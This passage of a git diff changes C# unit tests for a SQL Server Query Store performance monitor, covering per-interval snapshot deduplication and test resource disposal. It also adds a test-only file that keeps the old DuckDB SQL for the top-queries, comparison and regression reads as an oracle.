+            Snapshot(5, 90, interval: 100),
+            Snapshot(10, 60, interval: 100),
+        };
+
+        Assert.Equal(60, QueryStoreHistoryRow.TotalExecutions(rows));
+    }
+
+    [Fact]
+    public void ReplicaRoles_AreSeparateIntervals()
+    {
+        /* The primary and a readable secondary each report their own stats for the same interval. The dedup key
+           carries replica_role, so neither replica's work is dropped. */
+        var rows = new List<QueryStoreHistoryRow>
+        {
+            Snapshot(5, 10, interval: 100, replicaRole: "PRIMARY"),
+            Snapshot(10, 40, interval: 100, replicaRole: "PRIMARY"),
+            Snapshot(10, 9, interval: 100, replicaRole: "SECONDARY"),
+        };
+
+        Assert.Equal(40 + 9, QueryStoreHistoryRow.TotalExecutions(rows));
+    }
+
+    [Fact]
+    public void ExecutionTypes_AreSeparateIntervals()
+    {
+        /* Query Store keeps a Regular, an Aborted and an Exception row per plan and interval. */
+        var rows = new List<QueryStoreHistoryRow>
+        {
+            Snapshot(5, 10, interval: 100, executionType: "Regular"),
+            Snapshot(10, 40, interval: 100, executionType: "Regular"),
+            Snapshot(10, 2, interval: 100, executionType: "Aborted"),
+        };
+
+        Assert.Equal(40 + 2, QueryStoreHistoryRow.TotalExecutions(rows));
+    }
+
+    [Fact]
+    public void RowsCollectedBeforeTheIntervalIdWasStored_FallBackOnFirstExecutionTime()
+    {
+        /* The id is NULL on every row collected before #1841 tier 2, and first_execution_time stays beside it as
+           the proxy: two legacy intervals with different first executions are still two intervals. */
+        var rows = new List<QueryStoreHistoryRow>
+        {
+            Snapshot(5, 4, interval: null),
+            Snapshot(10, 8, interval: null),
+            new()
+            {
+                CollectionTime = T0.AddMinutes(10),
+                ExecutionCount = 3,
+                PlanId = 11,
+                RuntimeStatsIntervalId = null,
+                FirstExecutionTime = T0.AddMinutes(30),
+                ExecutionTypeDesc = "Regular",
+            },
+        };
+
+        Assert.Equal(8 + 3, QueryStoreHistoryRow.TotalExecutions(rows));
+    }
+
+    [Fact]
+    public void TwoIntervalsOfOnePlanWithNoFirstExecution_AreToldApartByTheirId()
+    {
+        /* A row whose first_execution_time is NULL has no identity under the proxy alone; the real id separates
+           the two intervals, the case that made the aggregate reads put the id in their key. */
+        var rows = new List<QueryStoreHistoryRow>
+        {
+            Snapshot(5, 6, interval: 100, legacyNoFirstExecution: true),
+            Snapshot(10, 9, interval: 200, legacyNoFirstExecution: true),
+        };
+
+        Assert.Equal(6 + 9, QueryStoreHistoryRow.TotalExecutions(rows));
+    }
+
+    [Fact]
+    public void RowsWithNeitherAnIntervalIdNorAFirstExecution_AreOneInterval_ThatCountsOnce()
+    {
+        /* The oldest legacy rows hold neither identity column: no #1841 tier 2 id, and no first_execution_time to
+           stand in for it. The key's NULL parts match each other, as they do in the aggregate reads' PARTITION BY,
+           so the helper reads these rows as ONE interval and counts its newest snapshot once: 8, not 4 + 8. If such
+           rows were really two intervals the total would under-count them. The aggregate reads carry the same
+           limit, because nothing left on the rows can tell them apart. A different plan is still its own interval. */
+        var rows = new List<QueryStoreHistoryRow>
+        {
+            Snapshot(5, 4, interval: null, legacyNoFirstExecution: true),
+            Snapshot(10, 8, interval: null, legacyNoFirstExecution: true),
+        };
+
+        Assert.Equal(8, QueryStoreHistoryRow.TotalExecutions(rows));
+        Assert.Equal(T0.AddMinutes(10), Assert.Single(QueryStoreHistoryRow.LatestPerInterval(rows)).CollectionTime);
+
+        rows.Add(Snapshot(10, 3, interval: null, plan: 22, legacyNoFirstExecution: true));
+
+        Assert.Equal(8 + 3, QueryStoreHistoryRow.TotalExecutions(rows));
+    }
+
+    [Fact]
+    public void LatestPerInterval_KeepsOneRowPerInterval_AndLeavesTheGridsListAlone()
+    {
+        /* The window binds this same list to its grid, which shows every snapshot by design. */
+        var rows = new List<QueryStoreHistoryRow>
+        {
+            Snapshot(5, 10, interval: 100),
+            Snapshot(10, 25, interval: 100),
+            Snapshot(15, 40, interval: 100),
+            Snapshot(20, 5, interval: 200),
+        };
+        var before = rows.ToList();
+
+        var latest = QueryStoreHistoryRow.LatestPerInterval(rows);
+
+        Assert.Equal(new long[] { 40, 5 }, latest.Select(r => r.ExecutionCount).OrderByDescending(c => c).ToArray());
+        Assert.Equal(before, rows);
+        Assert.Equal(4, rows.Count);
+    }
+
+    [Fact]
+    public void NoRows_TotalZero()
+    {
+        Assert.Equal(0, QueryStoreHistoryRow.TotalExecutions(new List<QueryStoreHistoryRow>()));
+    }
+
+    /// <summary>
+    /// The window is a WPF window this suite does not instantiate, so its wiring is a source pin: the summary totals
+    /// through <c>QueryStoreHistoryRow.TotalExecutions</c> and no longer adds up the raw per-snapshot column.
+    /// </summary>
+    [Fact]
+    public void TheWindowSummary_TotalsThroughTheHelper_NotAPlainSumOfTheSnapshots()
+    {
+        var source = CodeOnly(ReadLite("Windows", "QueryStoreHistoryWindow.xaml.cs"));
+
+        Assert.Contains("QueryStoreHistoryRow.TotalExecutions(_historyData)", source, StringComparison.Ordinal);
+        Assert.DoesNotContain(".Sum(r => r.ExecutionCount)", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("Sum(r=>r.ExecutionCount)", source.Replace(" ", string.Empty), StringComparison.Ordinal);
+    }
+
+    /* Line and block comments removed, and line endings normalised, so a pin reads code only. */
+    private static string CodeOnly(string source)
+    {
+        var lf = source.Replace("\r\n", "\n");
+        lf = Regex.Replace(lf, @"/\*.*?\*/", string.Empty, RegexOptions.Singleline);
+        return Regex.Replace(lf, @"//[^\n]*", string.Empty);
+    }
+
+    private static string ReadLite(string folder, string file, [CallerFilePath] string thisFile = "") =>
+        File.ReadAllText(Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", "Lite", folder, file)));
+}
diff --git a/Lite.Tests/QueryStoreIntervalEndRungTests.cs b/Lite.Tests/QueryStoreIntervalEndRungTests.cs
index a6c0044149..0ee91b19aa 100644
--- a/Lite.Tests/QueryStoreIntervalEndRungTests.cs
+++ b/Lite.Tests/QueryStoreIntervalEndRungTests.cs
@@ -78,7 +78,10 @@ public void TheLiteMigration_AddsTheIntervalEnd_AtSchemaVersion66_ThroughTheShar
     public async Task AFreshFile_EndsQueryStoreStatsWithTheIntervalEnd_AfterTheTier2Pair()
     {
         var dbPath = Path.Combine(_tempDir, "lite-fresh.duckdb");
-        await new DuckDbInitializer(dbPath).InitializeAsync();
+        using (var initializer = new DuckDbInitializer(dbPath))
+        {
+            await initializer.InitializeAsync();
+        }
 
         using var conn = new DuckDBConnection($"Data Source={dbPath}");
         await conn.OpenAsync();
@@ -108,7 +111,10 @@ public async Task AV65Database_ClimbsToV66_AndItsOldRowsReadNull()
     {
         var dbPath = Path.Combine(_tempDir, "lite-v65.duckdb");
 
-        await new DuckDbInitializer(dbPath).InitializeAsync();
+        using (var initializer = new DuckDbInitializer(dbPath))
+        {
+            await initializer.InitializeAsync();
+        }
 
         using (var conn = new DuckDBConnection($"Data Source={dbPath}"))
         {
@@ -136,7 +142,7 @@ await ExecAsync(conn, "INSERT INTO query_store_stats (collection_id, collection_
             Assert.Equal(0L, await CountAsync(conn, $"SELECT COUNT(*) FROM information_schema.columns WHERE table_name = 'query_store_stats' AND column_name = '{Column}'"));
         }
 
-        var upgraded = new DuckDbInitializer(dbPath);
+        using var upgraded = new DuckDbInitializer(dbPath);
         await upgraded.InitializeAsync();
         await upgraded.CreateArchiveViewsAsync();
 
diff --git a/Lite.Tests/QueryStoreOldReadSql.cs b/Lite.Tests/QueryStoreOldReadSql.cs
new file mode 100644
index 0000000000..2dbfbe6931
--- /dev/null
+++ b/Lite.Tests/QueryStoreOldReadSql.cs
@@ -0,0 +1,430 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+namespace Lite.Tests;
+
+/// <summary>
+/// #5381: the three Query Store reads exactly as they were before query_text was moved after the ranking, kept
+/// verbatim as a test-only ORACLE. <see cref="QueryStoreTextAfterRankingTests"/> runs these beside the shipped reads
+/// to prove the rewrite changes no row, and at a low memory_limit to prove the old shape runs out of memory where the
+/// new one does not. Do not edit these to follow the product SQL: their whole value is that they are the old text.
+/// The optional database / execution-type / module filters are left out (no filter is the case under test);
+/// <c>@@CANDIDATES@@</c> stands for the candidate limit the top-queries round was built with.
+/// </summary>
+internal static class QueryStoreOldReadSql
+{
+    /// <summary>GetQueryStoreTopQueriesAsync, one round. Parameters: $1 server, $2 start, $3 end, $4 page size.</summary>
+    internal const string TopQueries = """
+        
+WITH deduped AS (
+    /* LOAD-BEARING (correctness, not just perf) — #1841. query_store_stats rows are CUMULATIVE
+       per-Query-Store-interval snapshots, and the collector re-fetches the OPEN interval every cycle
+       as its last_execution_time advances, so the SAME interval is stored repeatedly with a growing
+       execution_count. SUM(execution_count) over the raw rows reports 10 + 25 + 40 for an interval that
+       reached 40, and AVG(avg_*) becomes an avg-of-avgs weighted by how many times each interval happened
+       to be re-collected. Keep the LATEST snapshot per interval. SELECT * because the aggregate below
+       projects nearly every payload column.
+
+       runtime_stats_interval_id is the REAL interval identity (tier 2), with first_execution_time kept
+       beside it as the tier-1 proxy for rows collected before it existed — see the slicer above for why
+       both are in the key rather than a COALESCE of the two.
+
+       replica_role and execution_type_desc are in the partition because the aggregate below is grouped
+       (or MAXed) on them: the dedup key must be at least as fine as the read's own row identity, or
+       dedup would silently drop a row the grid is supposed to show rather than de-duplicate one. */
+    SELECT
+        *,
+        ROW_NUMBER() OVER
+        (
+            PARTITION BY database_name, query_id, plan_id, runtime_stats_interval_id, first_execution_time, execution_type_desc, replica_role
+            ORDER BY collection_time DESC, execution_count DESC
+        ) AS rn
+    FROM v_query_store_stats
+    WHERE server_id = $1
+    AND   collection_time >= $2
+    AND   collection_time <= $3
+),
+ranked AS (
+    SELECT
+        database_name,
+        query_id,
+        plan_id,
+        query_hash,
+        /* A GROUP BY key, not MAX(): with Query Store for secondary replicas (2022+) the primary holds
+           ONE shared Query Store carrying every replica's rows, so grouping without it would average
+           primary and secondary workload into a single blended row — the conflation this column exists
+           to expose. Grouping splits them into one row per replica role instead. On a standalone/non-AG
+           server every row shares one value (NULL, or 'Primary' on 2025), so the grouping is a no-op
+           and the grid is unchanged. */
+        replica_role,
+        MAX(module_name) AS module_name,
+        /* A GROUP BY key, like replica_role above: Query Store keeps Regular, Aborted and Exception executions
+           of one plan in separate runtime-stats rows, and MAX() here showed Regular for any mixed group (it
+           sorts last) while the averages blended a timeout's duration into the plan's normal cost. One row per
+           outcome instead. The execution_type filter is applied in deduped, before the ROW_NUMBER: the column
+           is in the partition, so filtering first cannot change which row wins. */
+        execution_type_desc,
+        SUM(execution_count) AS total_executions,
+        AVG(CAST(avg_duration_us AS DOUBLE PRECISION)) / 1000.0 AS avg_duration_ms,
+        AVG(CAST(avg_cpu_time_us AS DOUBLE PRECISION)) / 1000.0 AS avg_cpu_time_ms,
+        AVG(CAST(avg_logical_io_reads AS DOUBLE PRECISION)) AS avg_logical_reads,
+        AVG(CAST(avg_logical_io_writes AS DOUBLE PRECISION)) AS avg_logical_writes,
+        AVG(CAST(avg_physical_io_reads AS DOUBLE PRECISION)) AS avg_physical_reads,
+        AVG(CAST(avg_rowcount AS DOUBLE PRECISION)) AS avg_rowcount,
+        MIN(min_dop) AS min_dop,
+        MAX(max_dop) AS max_dop,
+        MAX(last_execution_time) AS last_execution_time,
+        MAX(query_plan_hash) AS query_plan_hash,
+        MAX(CASE WHEN is_forced_plan THEN TRUE ELSE FALSE END) AS is_forced_plan,
+        MAX(plan_forcing_type) AS plan_forcing_type,
+        MIN(first_execution_time) AS first_execution_time,
+        AVG(CAST(avg_clr_time_us AS DOUBLE PRECISION)) / 1000.0 AS avg_clr_time_ms,
+        AVG(CAST(avg_tempdb_space_used AS DOUBLE PRECISION)) AS avg_tempdb_space_used,
+        AVG(CAST(avg_log_bytes_used AS DOUBLE PRECISION)) AS avg_log_bytes_used,
+        MAX(plan_type) AS plan_type,
+        MAX(force_failure_count) AS force_failure_count,
+        MAX(last_force_failure_reason) AS last_force_failure_reason,
+        MAX(compatibility_level) AS compatibility_level,
+        MIN(CAST(min_duration_us AS DOUBLE PRECISION)) / 1000.0 AS min_duration_ms,
+        MAX(CAST(max_duration_us AS DOUBLE PRECISION)) / 1000.0 AS max_duration_ms,
+        MIN(CAST(min_cpu_time_us AS DOUBLE PRECISION)) / 1000.0 AS min_cpu_time_ms,
+        MAX(CAST(max_cpu_time_us AS DOUBLE PRECISION)) / 1000.0 AS max_cpu_time_ms,
+        MIN(CAST(min_logical_io_reads AS DOUBLE PRECISION)) AS min_logical_reads,
+        MAX(CAST(max_logical_io_reads AS DOUBLE PRECISION)) AS max_logical_reads,
+        MIN(CAST(min_logical_io_writes AS DOUBLE PRECISION)) AS min_logical_writes,
+        MAX(CAST(max_logical_io_writes AS DOUBLE PRECISION)) AS max_logical_writes,
+        MIN(CAST(min_physical_io_reads AS DOUBLE PRECISION)) AS min_physical_reads,
+        MAX(CAST(max_physical_io_reads AS DOUBLE PRECISION)) AS max_physical_reads,
+        MIN(CAST(min_clr_time_us AS DOUBLE PRECISION)) / 1000.0 AS min_clr_time_ms,
+        MAX(CAST(max_clr_time_us AS DOUBLE PRECISION)) / 1000.0 AS max_clr_time_ms,
+        MIN(CAST(min_rowcount AS DOUBLE PRECISION)) AS min_rowcount,
+        MAX(CAST(max_rowcount AS DOUBLE PRECISION)) AS max_rowcount,
+        MIN(CAST(min_log_bytes_used AS DOUBLE PRECISION)) AS min_log_bytes_used,
+        MAX(CAST(max_log_bytes_used AS DOUBLE PRECISION)) AS max_log_bytes_used,
+        MIN(CAST(min_tempdb_space_used AS DOUBLE PRECISION)) AS min_tempdb_space_used,
+        MAX(CAST(max_tempdb_space_used AS DOUBLE PRECISION)) AS max_tempdb_space_used,
+        AVG(CAST(avg_query_max_used_memory AS DOUBLE PRECISION)) * 8.0 / 1024.0 AS avg_memory_mb,
+        MIN(CAST(min_query_max_used_memory AS DOUBLE PRECISION)) * 8.0 / 1024.0 AS min_memory_mb,
+        MAX(CAST(max_query_max_used_memory AS DOUBLE PRECISION)) * 8.0 / 1024.0 AS max_memory_mb,
+        AVG(CAST(avg_num_physical_io_reads AS DOUBLE PRECISION)) AS avg_num_physical_io_reads,
+        MIN(CAST(min_num_physical_io_reads AS DOUBLE PRECISION)) AS min_num_physical_io_reads,
+        MAX(CAST(max_num_physical_io_reads AS DOUBLE PRECISION)) AS max_num_physical_io_reads
+    FROM deduped
+    WHERE rn = 1
+    GROUP BY database_name, query_id, plan_id, query_hash, execution_type_desc, replica_role
+    /* #5299 round 3 (O16): the ranking ends on the whole group key - see GetTopQueriesByCpuAsync. */
+    ORDER BY SUM(execution_count) * AVG(CAST(avg_duration_us AS DOUBLE PRECISION)) DESC, database_name, query_id, plan_id, query_hash, execution_type_desc, replica_role
+    LIMIT @@CANDIDATES@@
+),
+page AS (
+SELECT
+    r.database_name,
+    r.query_id,
+    r.plan_id,
+    r.query_hash,
+    t.query_text,
+    r.module_name,
+    r.total_executions,
+    r.avg_duration_ms,
+    r.avg_cpu_time_ms,
+    r.avg_logical_reads,
+    r.avg_logical_writes,
+    r.avg_physical_reads,
+    r.avg_rowcount,
+    r.min_dop,
+    r.max_dop,
+    r.last_execution_time,
+    r.query_plan_hash,
+    r.is_forced_plan,
+    r.plan_forcing_type,
+    NULL AS query_plan_text,
+    r.execution_type_desc,
+    r.first_execution_time,
+    r.avg_clr_time_ms,
+    r.avg_tempdb_space_used,
+    r.avg_log_bytes_used,
+    r.plan_type,
+    r.force_failure_count,
+    r.last_force_failure_reason,
+    r.compatibility_level,
+    r.min_duration_ms,
+    r.max_duration_ms,
+    r.min_cpu_time_ms,
+    r.max_cpu_time_ms,
+    r.min_logical_reads,
+    r.max_logical_reads,
+    r.min_logical_writes,
+    r.max_logical_writes,
+    r.min_physical_reads,
+    r.max_physical_reads,
+    r.min_clr_time_ms,
+    r.max_clr_time_ms,
+    r.min_rowcount,
+    r.max_rowcount,
+    r.min_log_bytes_used,
+    r.max_log_bytes_used,
+    r.min_tempdb_space_used,
+    r.max_tempdb_space_used,
+    r.avg_memory_mb,
+    r.min_memory_mb,
+    r.max_memory_mb,
+    r.avg_num_physical_io_reads,
+    r.min_num_physical_io_reads,
+    r.max_num_physical_io_reads,
+    r.replica_role,
+    ROW_NUMBER() OVER (ORDER BY r.total_executions * r.avg_duration_ms DESC, r.database_name, r.query_id, r.plan_id, r.query_hash, r.execution_type_desc, r.replica_role) AS page_ord
+FROM ranked r
+LEFT JOIN LATERAL (
+    SELECT query_text
+    FROM v_query_store_stats
+    WHERE server_id = $1
+    AND   query_id = r.query_id
+    AND   database_name = r.database_name
+    AND   query_text IS NOT NULL
+    /* #5299 round 2 (N3): a tie on the time breaks on the row collected last - see GetTopQueriesByCpuAsync. */
+    ORDER BY collection_time DESC, collection_id DESC
+    LIMIT 1
+) t ON TRUE
+WHERE t.query_text IS NULL OR t.query_text NOT LIKE 'WAITFOR%'
+ORDER BY r.total_executions * r.avg_duration_ms DESC, r.database_name, r.query_id, r.plan_id, r.query_hash, r.execution_type_desc, r.replica_role
+LIMIT $4
+)
+/* #5313: the count row rides beside the page so a round trimmed to nothing still reports whether more candidates exist. */
+SELECT p.*, c.candidate_count
+FROM (SELECT COUNT(*) AS candidate_count FROM ranked) c
+LEFT JOIN page p ON TRUE
+ORDER BY p.page_ord
+""";
+
+    /// <summary>GetQueryStoreComparisonAsync. Parameters: $1 server, $2 current start, $3 current end, $4 baseline start, $5 baseline end.</summary>
+    internal const string Comparison = """
+        
+WITH deduped_current AS (
+    /* LOAD-BEARING (correctness, not just perf) — #1841. query_store_stats rows are CUMULATIVE
+       per-Query-Store-interval snapshots and the collector re-fetches the OPEN interval every cycle,
+       so the SAME interval (same first_execution_time) is stored repeatedly with a growing
+       execution_count. Keep the LATEST snapshot per interval before aggregating.
+
+       The execution-count weighting below does NOT rescue this on its own: the repeated snapshots of
+       one interval carry DIFFERENT (growing) weights AND different avg_* values, so an open interval
+       is weighted by the triangular sum of its own growth. That bias is stronger in the recent window
+       than in the baseline window (recent windows hold more still-open intervals), which skews the
+       delta this comparison exists to compute. One deduped CTE per window, so both arms are treated
+       identically. */
+    SELECT
+        database_name,
+        query_hash,
+        query_text,
+        execution_count,
+        avg_duration_us,
+        avg_cpu_time_us,
+        avg_logical_io_reads,
+        ROW_NUMBER() OVER
+        (
+            PARTITION BY database_name, query_id, plan_id, runtime_stats_interval_id, first_execution_time, execution_type_desc, replica_role
+            ORDER BY collection_time DESC, execution_count DESC
+        ) AS rn
+    FROM v_query_store_stats
+    WHERE server_id = $1
+    AND   collection_time >= $2 AND collection_time <= $3
+),
+deduped_baseline AS (
+    SELECT
+        database_name,
+        query_hash,
+        query_text,
+        execution_count,
+        avg_duration_us,
+        avg_cpu_time_us,
+        avg_logical_io_reads,
+        ROW_NUMBER() OVER
+        (
+            PARTITION BY database_name, query_id, plan_id, runtime_stats_interval_id, first_execution_time, execution_type_desc, replica_role
+            ORDER BY collection_time DESC, execution_count DESC
+        ) AS rn
+    FROM v_query_store_stats
+    WHERE server_id = $1
+    AND   collection_time >= $4 AND collection_time <= $5
+),
+top_current AS (
+    SELECT database_name, query_hash
+    FROM deduped_current
+    WHERE rn = 1
+    AND   execution_count > 0
+    GROUP BY database_name, query_hash
+    ORDER BY SUM(execution_count) DESC
+    LIMIT 100
+),
+top_baseline AS (
+    SELECT database_name, query_hash
+    FROM deduped_baseline
+    WHERE rn = 1
+    AND   execution_count > 0
+    GROUP BY database_name, query_hash
+    ORDER BY SUM(execution_count) DESC
+    LIMIT 100
+),
+top_hashes AS (
+    SELECT DISTINCT database_name, query_hash
+    FROM (
+        SELECT * FROM top_current
+        UNION ALL
+        SELECT * FROM top_baseline
+    ) combined
+),
+current_period AS (
+    SELECT th.database_name, th.query_hash,
+           SUM(qs.execution_count) AS exec_count,
+           SUM(qs.execution_count * qs.avg_duration_us::DOUBLE PRECISION) / NULLIF(SUM(qs.execution_count), 0) / 1000.0 AS avg_duration_ms,
+           SUM(qs.execution_count * qs.avg_cpu_time_us::DOUBLE PRECISION) / NULLIF(SUM(qs.execution_count), 0) / 1000.0 AS avg_cpu_ms,
+           SUM(qs.execution_count * qs.avg_logical_io_reads::DOUBLE PRECISION) / NULLIF(SUM(qs.execution_count), 0) AS avg_reads,
+           MAX(qs.query_text) AS query_text
+    FROM top_hashes th
+    INNER JOIN deduped_current qs
+      ON  qs.query_hash IS NOT DISTINCT FROM th.query_hash
+      AND qs.database_name IS NOT DISTINCT FROM th.database_name
+    WHERE qs.rn = 1
+    AND   qs.execution_count > 0
+    GROUP BY th.database_name, th.query_hash
+),
+baseline_period AS (
+    SELECT th.database_name, th.query_hash,
+           SUM(qs.execution_count) AS exec_count,
+           SUM(qs.execution_count * qs.avg_duration_us::DOUBLE PRECISION) / NULLIF(SUM(qs.execution_count), 0) / 1000.0 AS avg_duration_ms,
+           SUM(qs.execution_count * qs.avg_cpu_time_us::DOUBLE PRECISION) / NULLIF(SUM(qs.execution_count), 0) / 1000.0 AS avg_cpu_ms,
+           SUM(qs.execution_count * qs.avg_logical_io_reads::DOUBLE PRECISION) / NULLIF(SUM(qs.execution_count), 0) AS avg_reads,
+           MAX(qs.query_text) AS query_text
+    FROM top_hashes th
+    INNER JOIN deduped_baseline qs
+      ON  qs.query_hash IS NOT DISTINCT FROM th.query_hash
+      AND qs.database_name IS NOT DISTINCT FROM th.database_name
+    WHERE qs.rn = 1
+    AND   qs.execution_count > 0
+    GROUP BY th.database_name, th.query_hash
+)
+SELECT COALESCE(c.database_name, b.database_name) AS database_name,
+       COALESCE(c.query_hash, b.query_hash) AS query_hash,
+       COALESCE(c.query_text, b.query_text) AS query_text,
+       c.exec_count, c.avg_duration_ms, c.avg_cpu_ms, c.avg_reads,
+       b.exec_count AS baseline_exec_count,
+       b.avg_duration_ms AS baseline_avg_duration_ms,
+       b.avg_cpu_ms AS baseline_avg_cpu_ms,
+       b.avg_reads AS baseline_avg_reads
+FROM current_period c
+FULL OUTER JOIN baseline_period b
+  ON  c.database_name IS NOT DISTINCT FROM b.database_name
+  AND c.query_hash IS NOT DISTINCT FROM b.query_hash;
+""";
+
+    /// <summary>GetQueryStoreRegressionsAsync. Parameters: $1 server, $2 start, $3 end, $4 baseline start, $5 max rows.</summary>
+    internal const string Regressions = """
+        
+WITH deduped_baseline AS (
+    /* LOAD-BEARING (correctness, not just perf) — #1841. Keep the LATEST cumulative snapshot per
+       interval before aggregating; see the file header for why this read is the most exposed to it. */
+    SELECT
+        database_name,
+        query_id,
+        plan_id,
+        execution_count,
+        avg_duration_us,
+        avg_cpu_time_us,
+        avg_logical_io_reads,
+        ROW_NUMBER() OVER
+        (
+            PARTITION BY database_name, query_id, plan_id, runtime_stats_interval_id, first_execution_time, execution_type_desc, replica_role
+            ORDER BY collection_time DESC, execution_count DESC
+        ) AS rn
+    FROM v_query_store_stats
+    WHERE server_id = $1
+    AND   collection_time >= $4
+    AND   collection_time < $2
+),
+deduped_recent AS (
+    SELECT
+        database_name,
+        query_id,
+        plan_id,
+        query_text,
+        execution_count,
+        avg_duration_us,
+        avg_cpu_time_us,
+        avg_logical_io_reads,
+        last_execution_time,
+        ROW_NUMBER() OVER
+        (
+            PARTITION BY database_name, query_id, plan_id, runtime_stats_interval_id, first_execution_time, execution_type_desc, replica_role
+            ORDER BY collection_time DESC, execution_count DESC
+        ) AS rn
+    FROM v_query_store_stats
+    WHERE server_id = $1
+    AND   collection_time >= $2
+    AND   collection_time <= $3
+),
+baseline_performance AS (
+    SELECT
+        database_name,
+        query_id,
+        AVG(CAST(avg_duration_us AS DOUBLE PRECISION)) / 1000.0 AS avg_duration_ms,
+        AVG(CAST(avg_cpu_time_us AS DOUBLE PRECISION)) / 1000.0 AS avg_cpu_time_ms,
+        AVG(CAST(avg_logical_io_reads AS DOUBLE PRECISION)) AS avg_logical_io_reads,
+        CAST(SUM(execution_count) AS BIGINT) AS exec_count,
+        CAST(COUNT(DISTINCT plan_id) AS INTEGER) AS plan_count
+    FROM deduped_baseline
+    WHERE rn = 1
+    GROUP BY database_name, query_id
+),
+recent_performance AS (
+    SELECT
+        database_name,
+        query_id,
+        MAX(query_text) AS query_text_sample,
+        AVG(CAST(avg_duration_us AS DOUBLE PRECISION)) / 1000.0 AS avg_duration_ms,
+        AVG(CAST(avg_cpu_time_us AS DOUBLE PRECISION)) / 1000.0 AS avg_cpu_time_ms,
+        AVG(CAST(avg_logical_io_reads AS DOUBLE PRECISION)) AS avg_logical_io_reads,
+        CAST(SUM(execution_count) AS BIGINT) AS exec_count,
+        CAST(COUNT(DISTINCT plan_id) AS INTEGER) AS plan_count,
+        MAX(last_execution_time) AS last_execution_time
+    FROM deduped_recent
+    WHERE rn = 1
+    GROUP BY database_name, query_id
+)
+SELECT
+    r.database_name,
+    r.query_id,
+    b.avg_duration_ms AS baseline_duration_ms,
+    r.avg_duration_ms AS recent_duration_ms,
+    (r.avg_duration_ms - b.avg_duration_ms) * 100.0 / NULLIF(b.avg_duration_ms, 0) AS duration_regression_percent,
+    b.avg_cpu_time_ms AS baseline_cpu_ms,
+    r.avg_cpu_time_ms AS recent_cpu_ms,
+    (r.avg_cpu_time_ms - b.avg_cpu_time_ms) * 100.0 / NULLIF(b.avg_cpu_time_ms, 0) AS cpu_regression_percent,
+    b.avg_logical_io_reads AS baseline_reads,
+    r.avg_logical_io_reads AS recent_reads,
+    (r.avg_logical_io_reads - b.avg_logical_io_reads) * 100.0 / NULLIF(b.avg_logical_io_reads, 0) AS io_regression_percent,
+    (r.avg_duration_ms - b.avg_duration_ms) * r.exec_count AS additional_duration_ms,
+    b.exec_count AS baseline_exec_count,
+    r.exec_count AS recent_exec_count,
+    b.plan_count AS baseline_plan_count,
+    r.plan_count AS recent_plan_count,
+    CASE
+        WHEN (r.avg_duration_ms - b.avg_duration_ms) * 100.0 / NULLIF(b.avg_duration_ms, 0) > 100 THEN 'CRITICAL'
+        WHEN (r.avg_duration_ms - b.avg_duration_ms) * 100.0 / NULLIF(b.avg_duration_ms, 0) > 50 THEN 'HIGH'
+        WHEN (r.avg_duration_ms - b.avg_duration_ms) * 100.0 / NULLIF(b.avg_duration_ms, 0) > 25 THEN 'MEDIUM'
+        ELSE 'LOW'
+    END AS severity,
+    r.query_text_sample,
+    r.last_execution_time
+FROM recent_performance AS r
+JOIN baseline_performance AS b
+  ON  b.database_name = r.database_name
+  AND b.query_id = r.query_id
+WHERE (r.avg_cpu_time_ms - b.avg_cpu_time_ms) * 100.0 / NULLIF(b.avg_cpu_time_ms, 0) > 25
+ORDER BY additional_duration_ms DESC
+LIMIT $5;
+""";
+}
diff --git a/Lite.Tests/QueryStoreRegressionsToolTests.cs b/Lite.Tests/QueryStoreRegressionsToolTests.cs
index 436c00397f..884686aba2 100644
--- a/Lite.Tests/QueryStoreRegressionsToolTests.cs
+++ b/Lite.Tests/QueryStoreRegressionsToolTests.cs
@@ -98,7 +98,11 @@ public async Task FourKindsOfNothing_AreFourDifferentAnswers()
         Assert.Contains("Widen hours_back", noRecentText, StringComparison.Ordinal);
         Assert.DoesNotContain("EVER", noRecentText, StringComparison.Ordinal);
 
-        /* 3. both sides collected, nothing regressed: the ONE good-news answer. */
+        /* 3. both sides collected, nothing regressed: the ONE good-news answer. The store must hold the whole span the
+           read compares (#4966): the probe checks from the baseline's start, 7 days before the window, so a row older
+           than that (outside both windows, another query) shows the span covered. Without it the window is cut, and
+           the all-clear rightly gives way to the cut sentence. */
+        await SeedAsync(baseNow.AddDays(-10), executions: 100, avgDurationUs: 1000, avgCpuUs: 1000, intervalId: 3, queryId: 99);
         await SeedAsync(baseNow.AddMinutes(-30), executions: 100, avgDurationUs: 1000, avgCpuUs: 1000, intervalId: 1);
 
         var clear = Root(await McpQueryTools.GetQueryStoreRegressions(service, _serverManager, ServerName, 24));
diff --git a/Lite.Tests/QueryStoreReplicaSplitAnalysisTests.cs b/Lite.Tests/QueryStoreReplicaSplitAnalysisTests.cs
index 62d36225f7..38600b8a7c 100644
--- a/Lite.Tests/QueryStoreReplicaSplitAnalysisTests.cs
+++ b/Lite.Tests/QueryStoreReplicaSplitAnalysisTests.cs
@@ -77,7 +77,7 @@ public QueryStoreReplicaSplitAnalysisTests(SharedDuckDbFixture fixture)
        14 days BEFORE TimeRangeStart (the days-old "best plan" baseline has to be in range), so the
        good plan's last execution sits 5 days back and the bad plan's at the end of the window. */
     private static readonly DateTime PeriodEnd =
-        DateTime.SpecifyKind(new DateTime(DateTime.UtcNow.Ticks - (DateTime.UtcNow.Ticks % TimeSpan.TicksPerSecond)), DateTimeKind.Unspecified);
+        DateTime.SpecifyKind(new DateTime(DateTime.UtcNow.Ticks / TimeSpan.TicksPerSecond * TimeSpan.TicksPerSecond), DateTimeKind.Unspecified);
     private static readonly DateTime PeriodStart = PeriodEnd.AddHours(-4);
 
     private static AnalysisContext Context() => new()
diff --git a/Lite.Tests/QueryStoreServerGateTests.cs b/Lite.Tests/QueryStoreServerGateTests.cs
index 7f4309bece..d4e5ff0b51 100644
--- a/Lite.Tests/QueryStoreServerGateTests.cs
+++ b/Lite.Tests/QueryStoreServerGateTests.cs
@@ -35,6 +35,8 @@ namespace Lite.Tests;
 /// stall collection for every other server, which is the #2148 wedge arriving through a lock instead of a
 /// hang.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
+[Collection("timing")]
 public sealed class QueryStoreServerGateTests
 {
     /// <summary>THE POINT: a second acquirer is refused while the first holds the gate.</summary>
diff --git a/Lite.Tests/QueryStoreSliceRepairTests.cs b/Lite.Tests/QueryStoreSliceRepairTests.cs
